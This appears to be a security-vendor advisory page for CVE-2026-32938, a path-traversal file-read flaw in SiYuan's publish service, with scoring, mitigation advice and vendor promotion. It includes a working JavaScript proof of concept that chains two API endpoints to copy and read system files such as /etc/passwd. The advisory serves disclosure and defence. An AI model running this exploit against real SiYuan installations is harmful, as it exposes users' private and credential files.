CVE-2026-32938 is a critical-severity (CVSS 9.9) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan has an Arbitrary File Read in its Desktop Publish Service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32938.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32938 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In SiYuan, /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.
Details
1. Arbitrary local files copied into workspace
- Endpoint:
POST /api/lute/html2BlockDOM, protected only bymodel.CheckAuth; publish read-only role is not restricted. - Behavior: On desktop (
util.ContainerStd == model.Conf.System.Container), local absolute paths from<a href="file://...">in the HTML are copied to{DataDir}/assets/. - Missing check: The code does not call
util.IsSensitivePath(localPath)before copying, so any readable file (e.g./etc/passwd,~/.ssh/id_rsa) can be copied into assets.
2. Direct access to assets via GET
- Endpoint:
GET /assets/*path(kernel/server/serve.go), protected only bymodel.CheckAuth; no publish-scope or admin check. - Behavior: The path is resolved with
model.GetAssetAbsPath("assets" + path)and the file is served withhttp.ServeFile; any authenticated request (including publish visitors) can access existing asset files. - Attack chain: The visitor calls html2BlockDOM to copy a sensitive file into
data/assets/, extractsdata-href="assets/xxx"from the returned DOM, then requestsGET /assets/xxxto retrieve the file content.
PoC
// Run in the browser devtools console while on the SiYuan publish service
(async () => {
try {
// Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32)
const sensitiveFiles = [
'file:///etc/passwd',
'file:///etc/group',
'file:///C:/Windows/System32/drivers/etc/hosts',
'file:///C:/Windows/System32/drivers/etc/services',
];
const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>';
const r1 = await fetch('/api/lute/html2BlockDOM', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ dom }),
credentials: 'same-origin',
});
const { data } = await r1.json();
const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]);
for (const p of paths) {
const r2 = await fetch('/' + p, { credentials: 'same-origin' });
if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text()));
}
} catch (_) {}
})();
Impact
With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-32938 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32938 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32938. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32938 in your dependencies?
O3 Security finds CVE-2026-32938 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.